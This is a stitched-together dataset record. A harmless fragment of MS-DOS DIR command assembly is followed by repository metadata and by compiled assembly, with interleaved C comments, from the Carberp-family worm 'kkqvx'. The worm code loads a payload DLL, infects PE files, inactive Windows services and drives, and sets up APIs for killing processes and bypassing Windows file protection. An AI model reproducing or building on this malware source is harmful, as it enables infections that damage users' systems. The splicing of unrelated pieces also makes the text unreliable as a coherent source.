dhNorm: mov al,BLANK ; if not /s, precede by a blank invoke Print_Char ; print a leading blank dhCom: invoke Build_Dir_String mov dx,offset TRANGROUP:DirHead_ptr invoke Std_Printf ; print header & cr/lf call UseLine invoke Crlf2 ; another cr/lf call UseLine dhRet: ret DisplayHeader endp ;*** DisplayName - display file name & extension ; ; ENTRY BX = offset of entry in TPA buffer ; ; EXIT nothing ; ; USED AX,CX,DX,SI,DI ; ; EFFECTS ; ; Filename & extension are displayed in spread format. ; Cursor is left at end of extension. DisplayName proc push ds ; save TRANGROUP seg addr mov ds,Tpa ; DS:BX = ptr to entry assume ds:nothing mov si,bx ; DS:SI = ptr to entry add si,filename ; DS:SI = ptr to filename mov di,offset TRANGROUP:CharBuf ; ES:DI = ptr to CharBuf mov cx,8 cld rep movsb ; move filename to CharBuf mov al,' ' stosb ; add a blank mov cx,3 rep movsb ; add extension xor al,al stosb ; add a NULL pop ds ; DS = TRANGROUP seg addr again assume ds:TRANGROUP test Bits,mask lcase ;M010;check for lowercase option jz @F ;M010;lowercase not required mov si,offset TRANGROUP:CharBuf ;M010;DS:SI --> ASCIIZ string call LowercaseString ;M010;filename.ext string is in CharBuf @@: mov String_Ptr_2,offset TRANGROUP:CharBuf mov dx,offset TRANGROUP:String_Buf_Ptr invoke Std_Printf ; print filename & extension ret DisplayName endp ;*** DisplayNext - move display cursor to next entry position ; ; ENTRY LeftOnLine = # entries can still be printed on this line ; LeftOnPage = # lines can still be printed for this page ; FileCnt = # files in this dir displayed before this one ; Bits contains /w setting ; ; EXIT nothing ; ; USED AX,DX ; ; EFFECTS ; ; LeftOnLine will be updated to reflect the entry about to be ; displayed. ; LeftOnPage may be updated. DisplayNext proc cmp FileCnt,0 je dn1st ; 1st file in directory cmp LeftOnLine,0 jng dnEol ; no more room on this line ; We are in wide mode (LeftOnLine is always 0 otherwise) and ; we still have room for more on this line. ; Tab to next position. mov dx,offset TRANGROUP:Tab_Ptr invoke Std_Printf jmp short dnDone dnEol: ; Start this entry on a new line. invoke Crlf2 ; start on new line call UseLine dn1st: mov al,PerLine mov LeftOnLine,al ; reset # entries left on line dnDone: dec LeftOnLine ; reflect the entry about to be displayed ret DisplayNext endp ;*** DisplayTheRest - display file size/dir, date, time ; ; ENTRY BX = offset of entry in TPA buffer ; Display cursor is at end of file extension ; ; EXIT nothing ; ; USED AX,CX,DX,SI,DI,BP ; ; EFFECTS ; ; File size, date, & time are displayed. DisplayTheRest proc push es ; save TRANGROUP seg addr mov es,Tpa ; ES = TPA seg addr mov bp,bx ; BP = offset of entry in TPA test es:[bp].fileattr,ATTR_DIRECTORY jz drNonDir ; not a directory file ; For a directory file, display <DIR> instead of size. mov dx,offset TRANGROUP:DMes_Ptr invoke Std_Printf jmp short drCom ; skip to common fields drNonDir: ; For a non-directory file, display file size. mov dx,word ptr es:[bp].filesize mov File_Size_Low,dx mov dx,word ptr es:[bp].filesize+2 mov File_Size_High,dx mov dx,offset TRANGROUP:Disp_File_Size_Ptr invoke Std_Printf drCom: ; For all files, display date & time. mov ax,es:[bp].filedate ; AX = date word or ax,ax ; test for null date (DOS 1.x) jz drDone ; no date, skip date/time display mov bx,ax ; BX = date word and ax,1Fh ; AX = day of month mov dl,al ; DL = day of month mov ax,bx ; AX = date word mov cl,5 shr ax,cl ; shift day out and al,0Fh ; AL = month mov dh,al ; DH = month mov cl,bh shr cl,1 ; CL = year - 1980 xor ch,ch ; CX = year - 1980 add cx,80 ; CX = 2-digit year cmp cl,100 jb @F ; not year 2000 yet, skip ahead sub cl,100 ; adjust for 21st century @@: xchg dh,dl ; DX = month/day mov DirDat_Yr,cx ; move year to msg block mov DirDat_Mo_Day,dx ; move month/day to msg block mov cx,es:[bp].filetime ; CX = file time jcxz drPrint ; no time field - go print shr cx,1 shr cx,1 shr cx,1 ; CH = hours shr cl,1 shr cl,1 ; CL = minutes xchg ch,cl ; CX = hr/min mov DirTim_Hr_Min,cx ; move time to msg block drPrint:mov dx,offset TRANGROUP:DirDatTim_Ptr invoke Std_Printf ; print date & time drDone: pop es ; ES = TRANGROUP seg addr again mov bx,bp ; BX = offset of entry in TPA again ret DisplayTheRest endp ;*** DisplayTrailer - display trailing lines for directory listing ; ; ENTRY LeftOnPage = # lines left on display page ; FileCnt = # files listed ; FileSiz = total size of files listed ; ; EXIT nothing ; ; USED ; ; EFFECTS ; ; Trailing info lines are displayed DisplayTrailer proc test Bits,mask bare jnz dtrRet ; /b - don't display trailer invoke Crlf2 ; start on new line call UseLine mov ax,FileCnt ; AX = # files found DisplayCntSiz: ; DisplayTotals uses this entry point. ; ; AX = # files ; FileSiz = dword total size of files mov Dir_Num,ax ; load # files mov dx,offset TRANGROUP:DirMes_Ptr ; DX = ptr to message block invoke Std_Printf ; "nnn File(s)" mov dx,offset TRANGROUP:Bytes_Ptr invoke Std_Printf ; "nnn bytes",cr,lf call UseLine dtrRet: ret DisplayTrailer endp ;*** DisplayWide - display filename in wide format ; ; ENTRY BX = offset of entry in TPA buffer ; ; EXIT nothing ; ; USED AX,CX,DX,SI,DI ; ; EFFECTS ; ; Name.ext is displayed. Cursor left at end of field (padded ; with blanks). Subdirectory files are displayed as [name.ext]. DisplayWide proc push ds ; save TRANGROUP seg addr mov ds,Tpa ; DS:BX = ptr to entry assume ds:nothing test ds:[bx].fileattr,ATTR_DIRECTORY jz @F ; not a subdirectory file mov al,'[' invoke Print_Char ; prefix subdirectory @@: call DisplayDotForm ; display name.ext ; DX = # chars displayed in name.ext test ds:[bx].fileattr,ATTR_DIRECTORY jz @F ; not a subdirectory file mov al,']' invoke Print_Char ; postfix subdirectory @@: ; Pad field with blanks. mov cx,size filename + size fileext + 1 ; CX = field size sub cx,dx ; CX = # pad char's jcxz dwDone mov al,' ' @@: invoke Print_Char loop @B dwDone: pop ds ; DS = TRANGROUP seg addr again assume ds:TRANGROUP ret DisplayWide endp ;*** EndPage - end the current display page ; ; ENTRY LeftOnPage = # lines left on display page ; Current directory (on selected drive) is the one being listed ; Bits contains /p setting ; ; EXIT LeftOnPage = # lines left for next page ; ; USED AX,DX ; ; EFFECTS ; ; Pause is invoked to display a message and wait for a keystroke. ; BwdBuf (same as DirBuf) used to build directory string. EndPage proc test Bits,mask pagd jz epNew ; paged display isn't enabled push bx ; save BX push cx ; save CX invoke Pause ; "Press any key to continue..." invoke Build_Dir_String mov dx,offset TRANGROUP:DirCont_Ptr invoke Printf_Crlf ; "(continuing <dir>)", cr/lf pop cx ; restore CX pop bx ; restore BX epNew: mov ax,LinPerPag ; AX = # lines per page dec ax ; AX = # lines till next EndPage mov LeftOnPage,ax ; LeftOnPage = countdown variable ret EndPage endp ;*** GetDriveLtr - get target drive letter ; ; ENTRY FCB contains drive # ; ; EXIT AX = "d:" ; ; USED nothing GetDriveLtr proc mov al,ds:Fcb ; AL = target drive # or al,al jnz @F ; not current drive default, skip ahead mov al,ds:CurDrv ; AL = current drive # inc al ; AL = 1-based drive # @@: add al,'A'-1 ; AL = target drive letter mov ah,':' ; AX = "d:" ret GetDriveLtr endp ;*** SetupParamError - set up for Std_EPrintf parameter parse error message ; ; Do for our /O and /A string parsers what Parse_With_Msg does ; for system parser calls. Set up a message substitution block, ; etc. for invalid value strings. I copied the procedure from ; Setup_Parse_Error_Msg. ; ; ENTRY BX = ptr to system parser result buffer (contains ptr to str) ; ; ; EXIT AX = system parser error return code for bad param format ; DX = ptr to message description block for Std_EPrintf ; ; USED SI ; ; EFFECTS ; ; Msg_Disp_Class = parse error message class ; Message block (see DX) is set up for parse error message SetupParamError proc mov ax,9 ; parse error # mov Msg_Disp_Class,PARSE_MSG_CLASS mov Extend_Buf_Ptr,ax mov si,word ptr [bx].ValuePtr mov String_Ptr_2,si mov Extend_Buf_Sub,ONE_SUBST mov dx,offset TRANGROUP:Extend_Buf_Ptr ret SetupParamError endp ;*** UseLine - use a display line, start a new page if none left ; ; ENTRY nothing ; ; EXIT nothing ; ; USED flags UseLine proc dec LeftOnPage ifndef NEC_98 cmp LeftOnPage,2 else ;NEC_98 cmp LeftOnPage,1 ;NEC04 Canged Page Line (23 to 24) endif ;NEC_98 ja ulRet call EndPage ulRet: ret UseLine endp ;*** ZeroTotals - zero grand total file count, size ; ; ENTRY nothing ; ; EXIT nothing ; ; USED AX ; ; EFFECTS ; ; FileCntTotal & FileSizTotal are zeroed. ; ; NOTES ; ; FileCntTotal & FileSizTotal must be juxtaposed, in that order. ZeroTotals proc mov di,offset TRANGROUP:FileCntTotal mov cx,size FileCntTotal+size FileSizTotal xor al,al rep stosb ret ZeroTotals endp ;*** CtrlCHandler - our own control-c handler ; ; Make sure user's default directory gets restored. See notes ; at InstallCtrlCHandler. ; ; ENTRY control-c ; ; EXIT to OldCtrlCHandler ; ; USED DS,flags ; ; EFFECTS ; ; Restore user's default directory. ; ; NOTES ; ; This handler is only installed after calling PathCrunch, ; which sets UserDir1, so the restoration will work. ; ; The original control-c vector will be restored, whether ; or not this one is invoked, in the HeadFix routine. CtrlCHandler proc far ;SR; ; Save all registers used: ds, dx, ax. I know ax is being used by the ;CtrlC handler, am not sure about ds & dx. Save them to be safe ; push ds push cs pop ds ; DS = TRANGROUP seg addr push ax push dx invoke RestUDir ; restore user's default directory pop dx pop ax pop ds jmp cs:OldCtrlCHandler ; go to previous int 23 handler CtrlCHandler endp ;M010;start ;*** LowerCase - convert ASCII character in AL to lowercase ; ; ENTRY AL = character to be displayed ; ; EXIT AL is lowercase ; ; USED nothing LowerCase proc assume ds:NOTHING,es:NOTHING cmp al,'A' ; ensure AL is in range 'A'-'Z' jb lcRet cmp al,'Z' ja lcRet or al,20h ; convert to ASCII lowercase (UpperCase+32)-->LowerCase lcRet: ret LowerCase endp ;*** LowercaseString - convert ASCIIZ string at DS:SI to lowercase ; ; ENTRY DS:SI points to start of ASCIIZ string ; ES = DS ; ; EXIT nothing ; ; USED AL,SI LowercaseString proc assume ds:NOTHING,es:NOTHING push di ; save di mov di,si ; ES:DI --> ASCIIZ string cld NextChar: lodsb ; get character from string into al or al,al ; are we at end of string? jz EndOfString ifdef DBCS invoke testkanj jz @f ; if this is not lead byte stosb ; store lead byte lodsb ; get tail byte or al,al jz EndOfString ; if end stosb ; store tail byte jmp short NextChar @@: endif call LowerCase ; convert character to lowercase stosb ; store character back into buffer jmp SHORT NextChar ; repeat until end of string EndOfString: pop di ; restore di ret LowercaseString endp ;M010;end ifdef DBCS ; ; Check if the character position is at Tail Byte of DBCS ; ; input: ds:si = start address of the string ; ds:di = character position to check ; output: ZF = 1 if at Tail Byte ; CheckDBCSTailByte proc near push ax push cx push di mov cx,di ; save character position cdtb_check: cmp di,si jz cdtb_next ; if at the top dec di ; go back mov al,[di] ; get character invoke testkanj jnz cdtb_check ; if DBCS lead byte do next inc di ; adjust cdtb_next: sub cx,di ; if the length is odd then xor cl,1 ; the character position is test cl,1 ; at the tail byte pop di pop cx pop ax ret CheckDBCSTailByte endp endif TRANCODE ends end 
24.97523
77
0.679717
4c8e915d4d9c42043da34bf072b79f5dee25aa44
185,224
asm
Assembly
Win32.Carberp.b/source - absource/pro/all source/Worm/Worm/kkqvx.asm
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
2
2021-02-04T06:47:45.000Z
2021-07-28T10:02:10.000Z
Win32.Carberp/all source/Worm/Worm/kkqvx.asm
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
null
null
null
Win32.Carberp/all source/Worm/Worm/kkqvx.asm
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
null
null
null
.file "e:\lcc\include\stddef.h" _$M0: .file "e:\projects\progs\petrosjan\bjwj\worm\kkqvx.c" .text .file "e:\lcc\include\stdlib.h" _$M1: .text .file "e:\lcc\include\safelib.h" _$M2: .file "e:\lcc\include\stdlib.h" _$M3: .file "e:\lcc\include\string.h" _$M4: .file "e:\lcc\include\stdarg.h" _$M5: .file "e:\lcc\include\ctype.h" _$M6: .file "e:\lcc\include\win.h" _$M7: .file "e:\lcc\include\basetsd.h" _$M8: .file "e:\lcc\include\win.h" _$M9: .file "e:\lcc\include\stdio.h" _$M10: .file "e:\lcc\include\ole2.h" _$M11: .file "e:\lcc\include\rpc.h" _$M12: .file "e:\lcc\include\rpcdce.h" _$M13: .file "e:\lcc\include\rpcdcep.h" _$M14: .file "e:\lcc\include\rpcnsi.h" _$M15: .file "e:\lcc\include\rpcasync.h" _$M16: .file "e:\lcc\include\rpcnsip.h" _$M17: .file "e:\lcc\include\rpcndr.h" _$M18: .file "e:\lcc\include\objbase.h" _$M19: .file "e:\lcc\include\unknwn.h" _$M20: .file "e:\lcc\include\objidl.h" _$M21: .file "e:\lcc\include\cguid.h" _$M22: .file "e:\lcc\include\objbase.h" _$M23: .file "e:\lcc\include\urlmon.h" _$M24: .file "e:\lcc\include\oleidl.h" _$M25: .file "e:\lcc\include\servprov.h" _$M26: .file "e:\lcc\include\msxml.h" _$M27: .file "e:\lcc\include\oaidl.h" _$M28: .file "e:\lcc\include\msxml.h" _$M29: .file "e:\lcc\include\urlmon.h" _$M30: .file "e:\lcc\include\propidl.h" _$M31: .file "e:\lcc\include\objbase.h" _$M32: .file "e:\lcc\include\oleauto.h" _$M33: .file "e:\lcc\include\ole2.h" _$M34: .file "e:\lcc\include\shlguid.h" _$M35: .file "e:\lcc\include\pshpack1.h" _$M36: .file "e:\lcc\include\shtypes.h" _$M37: .file "e:\lcc\include\pshpack1.h" _$M38: .file "e:\lcc\include\poppack.h" _$M39: .file "e:\lcc\include\shtypes.h" _$M40: .file "e:\lcc\include\pshpack1.h" _$M41: .file "e:\lcc\include\poppack.h" _$M42: .file "e:\lcc\include\shtypes.h" _$M43: .file "e:\lcc\include\pshpack1.h" _$M44: .file "e:\lcc\include\shtypes.h" _$M45: .file "e:\lcc\include\poppack.h" _$M46: .file "e:\lcc\include\shtypes.h" _$M47: .file "e:\lcc\include\shobjidl.h" _$M48: .file "e:\lcc\include\comcat.h" _$M49: .file "e:\lcc\include\shobjidl.h" _$M50: .file "e:\lcc\include\pshpack8.h" _$M51: .file "e:\lcc\include\shobjidl.h" _$M52: .file "e:\lcc\include\poppack.h" _$M53: .file "e:\lcc\include\shobjidl.h" _$M54: .file "e:\lcc\include\pshpack8.h" _$M55: .file "e:\lcc\include\shobjidl.h" _$M56: .file "e:\lcc\include\poppack.h" _$M57: .file "e:\lcc\include\shobjidl.h" _$M58: .file "e:\lcc\include\pshpack8.h" _$M59: .file "e:\lcc\include\shobjidl.h" _$M60: .file "e:\lcc\include\poppack.h" _$M61: .file "e:\lcc\include\shobjidl.h" _$M62: .file "e:\lcc\include\pshpack4.h" _$M63: .file "e:\lcc\include\wininet.h" _$M64: .file "e:\lcc\include\poppack.h" _$M65: .file "e:\lcc\include\shlobj.h" _$M66: .file "e:\lcc\include\pshpack8.h" _$M67: .file "e:\lcc\include\shlobj.h" _$M68: .file "e:\lcc\include\poppack.h" _$M69: .file "e:\lcc\include\shlobj.h" _$M70: .file "e:\lcc\include\pshpack8.h" _$M71: .file "e:\lcc\include\shlobj.h" _$M72: .file "e:\lcc\include\poppack.h" _$M73: .file "e:\lcc\include\shlobj.h" _$M74: .file "e:\lcc\include\pshpack8.h" _$M75: .file "e:\lcc\include\shlobj.h" _$M76: .file "e:\lcc\include\poppack.h" _$M77: .file "e:\lcc\include\shlobj.h" _$M78: .file "e:\lcc\include\pshpack8.h" _$M79: .file "e:\lcc\include\shlobj.h" _$M80: .file "e:\lcc\include\poppack.h" _$M81: .file "e:\lcc\include\shlobj.h" _$M82: .file "e:\lcc\include\pshpack8.h" _$M83: .file "e:\lcc\include\shlobj.h" _$M84: .file "e:\lcc\include\poppack.h" _$M85: .file "e:\lcc\include\shlobj.h" _$M86: .file "e:\lcc\include\pshpack8.h" _$M87: .file "e:\lcc\include\shlobj.h" _$M88: .file "e:\lcc\include\poppack.h" _$M89: .file "e:\lcc\include\shlobj.h" _$M90: .file "e:\lcc\include\pshpack8.h" _$M91: .file "e:\lcc\include\shlobj.h" _$M92: .file "e:\lcc\include\poppack.h" _$M93: .file "e:\lcc\include\shlobj.h" _$M94: .file "e:\lcc\include\pshpack1.h" _$M95: .file "e:\lcc\include\shlobj.h" _$M96: .file "e:\lcc\include\poppack.h" _$M97: .file "e:\lcc\include\pshpack8.h" _$M98: .file "e:\lcc\include\shlobj.h" _$M99: .file "e:\lcc\include\poppack.h" _$M100: .file "e:\lcc\include\shlobj.h" _$M101: .file "e:\lcc\include\pshpack8.h" _$M102: .file "e:\lcc\include\shlobj.h" _$M103: .file "e:\lcc\include\poppack.h" _$M104: .file "e:\lcc\include\shlobj.h" _$M105: .file "e:\lcc\include\pshpack8.h" _$M106: .file "e:\lcc\include\shlobj.h" _$M107: .file "e:\lcc\include\poppack.h" _$M108: .file "e:\lcc\include\shlobj.h" _$M109: .file "e:\lcc\include\pshpack8.h" _$M110: .file "e:\lcc\include\shlobj.h" _$M111: .file "e:\lcc\include\poppack.h" _$M112: .file "e:\lcc\include\shlobj.h" _$M113: .file "e:\lcc\include\pshpack8.h" _$M114: .file "e:\lcc\include\shlobj.h" _$M115: .file "e:\lcc\include\poppack.h" _$M116: .file "e:\lcc\include\shlobj.h" _$M117: .file "e:\lcc\include\pshpack8.h" _$M118: .file "e:\lcc\include\shlobj.h" _$M119: .file "e:\lcc\include\poppack.h" _$M120: .file "e:\lcc\include\shlobj.h" _$M121: .file "e:\lcc\include\wincrypt.h" _$M122: .file "e:\lcc\include\winsvc.h" _$M123: .file "e:\lcc\include\tlhelp32.h" _$M124: .file "e:\projects\progs\petrosjan\bjwj\worm\kkqvx.c" _$M125: .file "e:\projects\progs\petrosjan\bjwj\worm\_api\kernel32.h" _$M126: .data .globl __KERNEL32 .align 2 .type __KERNEL32,object __KERNEL32: .long 0x0 .globl _padrK32a .align 2 .type _padrK32a,object _padrK32a: .long __GetModuleHandle .long __LoadLibrary .text ; 1 #include <windows.h> ; 2 #include <stdio.h> ; 3 #include <shlobj.h> ; 4 #include <wincrypt.h> ; 5 #include <winsvc.h> ; 6 #include <tlhelp32.h> // for av process kill ; 7 ; 8 void InitAPIbyStr(DWORD *adr[], HANDLE h, char *data); ; 9 void UnprotectFile(char *fname); ; 10 void rscan(char *st, DWORD dr, BOOL LNK); ; 11 ; 12 #include "includes.h" ; 13 ; 14 HWND hw; ; 15 HINSTANCE hI; ; 16 ; 17 LRESULT CALLBACK WndProc(HWND hwnd, UINT m, WPARAM wp, LPARAM lp) ; 18 { ; 19 switch(m) ; 20 { ; 21 default: return (_DefWindowProc(hwnd, m, wp, lp)); ; 22 } ; 23 } ; 24 ; 25 ; 26 /////////////////////////////////////////////////////////////// ; 27 // check other copies of us (version high or equ) ///////////// ; 28 ; 29 #define NO_OTHER 0 ; 30 #define EQU_DETECTED 1 ; 31 #define HI_DETECTED 2 ; 32 ; 33 BYTE CheckVersion() ; 34 { ; 35 // check for version mutexes ; 36 ; 37 char mtx[0xFF]; //@S ; 38 DWORD v; //@E ; 39 ; 40 for (v = VERSION; v < 100; v++) ; 41 { ; 42 HANDLE m; ; 43 ; 44 _sprintf(mtx, "%s_mtx%u", CLASSNAME, v); ; 45 ; 46 #ifdef dbgdbg ; 47 adddeb("CHECKING '%s' , my ver is %u",mtx,VERSION); ; 48 #endif ; 49 ; 50 if((m = _OpenMutex(SYNCHRONIZE, FALSE, mtx))) ; 51 { ; 52 _CloseHandle(m); ; 53 if (/*@S==*/v == VERSION/*@E*/) ; 54 return EQU_DETECTED; ; 55 else ; 56 return HI_DETECTED; ; 57 } ; 58 } ; 59 ; 60 return NO_OTHER; ; 61 } ; 62 ; 63 /////////////////////////////////////////////////////////////////////////// ; 64 // Creates or Opens 2 mutexes, waits for release of mtxv mutex //////////// ; 65 ; 66 void CreateOrOpenMutexes_WaitForMtx2Release(char *mtx,char *mtxv) ; 67 { ; 68 #ifdef SKIP_MTX ; 69 return; ; 70 #endif ; 71 ; 72 HANDLE hcm = _CreateMutex(NULL, FALSE, mtx); //@S ; 73 HANDLE hcmv = _CreateMutex(NULL, TRUE, mtxv); //@E //initial owner - current thread ; 74 ; 75 #ifdef dbgdbg ; 76 if (hcm==NULL) { adddeb("### CANT CREATE/OPEN MUTEX1 '%s' - (if usermode, mutex1==bugfix mutex & ver1 in services found)",mtx); } ; 77 else { adddeb("### mutex1 '%s' created/opened:%X",mtx,hcm); } ; 78 ; 79 if (hcmv==NULL) { adddeb("### CANT CREATE/OPEN MUTEX2 '%s' - ver%u in services? can be bug in CheckService(), ver>1 shouldn't make such mutex from service, ExitThread(1)",mtxv,VERSION); } ; 80 else { adddeb("### mutex2 '%s' created/opened:%X",mtxv,hcmv); } ; 81 #endif ; 82 ; 83 if (/*@S==*/hcmv == NULL/*@E*/) _ExitThread(1); ; 84 ; 85 ; 86 //--- wait for mutex release, if current thread is initial owner, no waiting ; 87 ; 88 #ifdef dbgdbg ; 89 adddeb("### WaitForSingleObject for mutex '%s'...",mtxv); ; 90 #endif ; 91 ; 92 _WaitForSingleObject(hcmv, 0xFFFFFFFF); ; 93 ; 94 #ifdef dbgdbg ; 95 adddeb("### FINISHED WaitForSingleObject for mutex '%s'",mtxv); ; 96 #endif ; 97 } .type _InitKernel32a,function _InitKernel32a: ; 98 .line 98 ; 99 .line 99 pushl $_$262 pushl __KERNEL32 pushl $_padrK32a call _InitAPIbyStr addl $12,%esp ; 100 /////////////////////////////////////////////////////////////// ; 101 // Init infcode, decrypt dll, ... ///////////////////////////// ; 102 ; 103 void InitInfectData(DWORD ticks, DWORD START_SVC) ; 104 { .line 104 ret _$263: .size _InitKernel32a,_$263-_InitKernel32a .globl _InitKernel32a .data .globl _padrK32 .align 2 .type _padrK32,object _padrK32: .long __OpenMutex .long __CloseHandle .long __ExitThread .long __CreateFile .long __DeleteFile .long __SetFilePointer .long __WriteFile .long __GetFileSize .long __lstrlenW .long __WinExec .long __WideCharToMultiByte .long __MultiByteToWideChar .long __GetTempPath .long __ReadFile .long __VirtualAlloc .long __VirtualFree .long __LocalAlloc .long __LocalFree .long __GetSystemTime .long __ZeroMemory .long __FindFirstFile .long __FindNextFile .long __FindClose .long __GetDriveType .long __GetExitCodeThread .long __SetErrorMode .long __GetDiskFreeSpace .long __CopyFile .long __CreateMutex .long __GetModuleFileName .long __GetSystemDirectory .long ___InterlockedIncrement .long ___InterlockedDecrement .long __GetVolumeInformation .long __CompareFileTime .long __FileTimeToSystemTime .long __GetVersionEx .long __GetLocaleInfo .long __OpenProcess .long __GetCurrentProcessId .long __GetCurrentThreadId .long __FreeEnvironmentStrings .long __GetEnvironmentStrings .long __GetComputerName .long __WaitForSingleObject .long __FreeLibrary .long __CreateDirectory .long __PeekNamedPipe .long __CreatePipe .long __CreateProcess .long __GetExitCodeProcess .long __IsBadStringPtrW .long __TerminateThread .long __CreateToolhelp32Snapshot .long __Process32First .long __Process32Next .long __TerminateProcess .long __lstrlen .long __IsBadReadPtr .long __OutputDebugStringA .long __lstrcatA .text ; 105 DWORD len; ; 106 //@S ; 107 _srand(/*@S+*/ticks + VERSION/*@E*/); ; 108 .type _InitKernel32,function _InitKernel32: ; 109 #ifdef RUNLINE .line 109 ; 110 M_XorData(InfectPE,bb0,ii0,qq0,"D"); //decrypt .line 110 pushl $_$265 pushl __KERNEL32 pushl $_padrK32 call _InitAPIbyStr addl $12,%esp ; 111 #endif ; 112 //@E ; 113 ; 114 //----- NORMAL VIRUS MODE, dll content is taken from memory ; 115 ; 116 #ifndef EXEFILE ; 117 // DWORD len; ; 118 dll_mem = GetDll(&len); ; 119 #endif ; 120 ; 121 //----- CURE MODE ; 122 ; 123 #ifdef AV_CURE ; 124 CloseCreateThreadEco(InfectAllDrives); ; 125 cure_loop:; __sleep(0); goto loop; ; 126 #endif ; 127 ; 128 //----- EXEFILE MODE - load dll from kkqvx.dll, show warnings ; 129 ; 130 #ifdef EXEFILE ; 131 { ; 132 BYTE dll[200000]; ; 133 len = 0; // !!! IMPORTANT !!! dll_len==0 is flag NOT_INFECT for InfectPE routine ; 134 ; 135 HANDLE h=_CreateFile("kkqvx.dll", GENERIC_READ | FILE_SHARE_READ, 0, NULL, OPEN_EXISTING, 0, NULL); ; 136 if (h != INVALID_HANDLE_VALUE) ; 137 { ; 138 _MessageBox(NULL,"INFECT MODE ON: found kkqvx.dll, kill process now if launched by mistake",NULL,0); ; 139 _MessageBox(NULL,"INFECT MODE ON: the last warning! Are u sure? Kill process if NO.",NULL,0); ; 140 _ReadFile(h, dll, sizeof(dll), &len, NULL); ; 141 _CloseHandle(h); ; 142 } ; 143 else { len=0; dll_len=0; _MessageBox(NULL,"no kkqvx.dll, cant infect",NULL,0); } ; 144 ; 145 dll_mem = dll; ; 146 } ; 147 #endif ; 148 ; 149 //----- ; 150 ; 151 dll_len = len; //@S ; 152 InitAVSVC(); //@E ; 153 ; 154 #ifdef dbgdbg ; 155 adddeb("InitInfectData (all hex) dll_mem:%X dll_len:%X",dll_mem,dll_len); ; 156 #endif ; 157 ; 158 ProcessInactiveServices(START_SVC); // Infect Inactive Services ; 159 } ; 160 ; 161 /////////////////////////////////////////////////////////////// ; 162 // Service mode - we are in infected service ////////////////// ; 163 ; 164 void ServiceMode(DWORD ticks) .line 164 ret _$266: .size _InitKernel32,_$266-_InitKernel32 .globl _InitKernel32 .file "e:\projects\progs\petrosjan\bjwj\worm\_api\crtdll.h" _$M127: .data .globl __CRTDLL .align 2 .type __CRTDLL,object __CRTDLL: .long 0x0 .text .type _InitCRTDLL_handle,function _InitCRTDLL_handle: .line 31 .line 32 pushl $_$268 call *__GetModuleHandle movl %eax,__CRTDLL .line 33 test %eax,%eax jne _$269 pushl $_$268 call *__LoadLibrary movl %eax,__CRTDLL _$269: .line 34 ret _$273: .size _InitCRTDLL_handle,_$273-_InitCRTDLL_handle .globl _InitCRTDLL_handle .data .globl _padrCRT .align 2 .type _padrCRT,object _padrCRT: .long ___toupper .long ___sleep .long __sprintf .long __atoi .long __free .long __malloc .long __memcmp .long __memcpy .long __memset .long __rand .long __srand .long __strcat .long __vsprintf .long __wcslen .text .type _InitCRTDLL,function _InitCRTDLL: .line 39 .line 40 call _InitCRTDLL_handle .line 42 pushl $_$275 pushl __CRTDLL pushl $_padrCRT call _InitAPIbyStr addl $12,%esp .line 61 ret _$276: .size _InitCRTDLL,_$276-_InitCRTDLL .globl _InitCRTDLL .file "e:\projects\progs\petrosjan\bjwj\worm\_api\user32.h" _$M128: .data .globl __USER32 .align 2 .type __USER32,object __USER32: .long 0x0 .globl _padrU32 .align 2 .type _padrU32,object _padrU32: .long __CallWindowProc .long __CreateWindowEx .long __DefWindowProc .long __DestroyWindow .long __DispatchMessage .long __GetClassName .long __GetForegroundWindow .long __GetMessage .long __GetWindow .long __GetWindowLong .long __GetWindowRect .long __GetWindowText .long __MessageBox .long __MoveWindow .long __RegisterClass .long __SendMessage .long __SetFocus .long __SetWindowLong .long __SetWindowText .long __ShowWindow .long __TranslateMessage .long __FindWindowEx .long __EnumDesktopWindows .long __OemToChar .long __CharUpperBuff .text .type _InitUser32,function _InitUser32: .line 45 .line 46 pushl $_$278 call *__GetModuleHandle movl %eax,__USER32 .line 47 test %eax,%eax jne _$279 pushl $_$278 call *__LoadLibrary movl %eax,__USER32 _$279: .line 49 pushl $_$281 pushl __USER32 pushl $_padrU32 call _InitAPIbyStr addl $12,%esp .line 80 ret _$284: .size _InitUser32,_$284-_InitUser32 .globl _InitUser32 .file "e:\projects\progs\petrosjan\bjwj\worm\_api\sfc.h" _$M129: .data .globl __SFC .align 2 .type __SFC,object __SFC: .long 0x0 .text .type _InitSFC,function _InitSFC: .line 9 .line 10 pushl $_$286 call *__GetModuleHandle movl %eax,__SFC .line 11 test %eax,%eax jne _$287 pushl $_$286 call *__LoadLibrary movl %eax,__SFC _$287: .line 12 cmpl $0,__SFC je _$285 _$289: .line 14 pushl $_$291 pushl __SFC call *__GetProcAddress movl %eax,__SfcIsFileProtected _$285: .line 15 ret _$295: .size _InitSFC,_$295-_InitSFC .globl _InitSFC .file "e:\projects\progs\petrosjan\bjwj\worm\_api\sfc_os.h" _$M130: .data .globl __SFC_OS .align 2 .type __SFC_OS,object __SFC_OS: .long 0x0 .text .type _InitSFC_OS,function _InitSFC_OS: .line 9 .line 10 pushl $_$297 call *__GetModuleHandle movl %eax,__SFC_OS .line 11 test %eax,%eax jne _$298 pushl $_$297 call *__LoadLibrary movl %eax,__SFC_OS _$298: .line 12 cmpl $0,__SFC_OS je _$296 _$300: .line 14 pushl $0x5 pushl __SFC_OS call *__GetProcAddress movl %eax,__SfcFileException _$296: .line 15 ret _$305: .size _InitSFC_OS,_$305-_InitSFC_OS .globl _InitSFC_OS .file "e:\projects\progs\petrosjan\bjwj\worm\_api\shell32.h" _$M131: .data .globl __SHELL32 .align 2 .type __SHELL32,object __SHELL32: .long 0x0 .text .type _InitShell32,function _InitShell32: .line 9 .line 10 pushl $_$307 call *__GetModuleHandle movl %eax,__SHELL32 .line 11 test %eax,%eax jne _$308 pushl $_$307 call *__LoadLibrary movl %eax,__SHELL32 _$308: .line 13 pushl $_$310 pushl __SHELL32 call *__GetProcAddress movl %eax,__SHGetFolderPath .line 14 ret _$314: .size _InitShell32,_$314-_InitShell32 .globl _InitShell32 .file "e:\projects\progs\petrosjan\bjwj\worm\_api\advapi32.h" _$M132: .data .globl __ADVAPI32 .align 2 .type __ADVAPI32,object __ADVAPI32: .long 0x0 .globl _padrA32 .align 2 .type _padrA32,object _padrA32: .long __RegOpenKeyEx .long __RegQueryValueEx .long __RegCreateKeyEx .long __RegSetValueEx .long 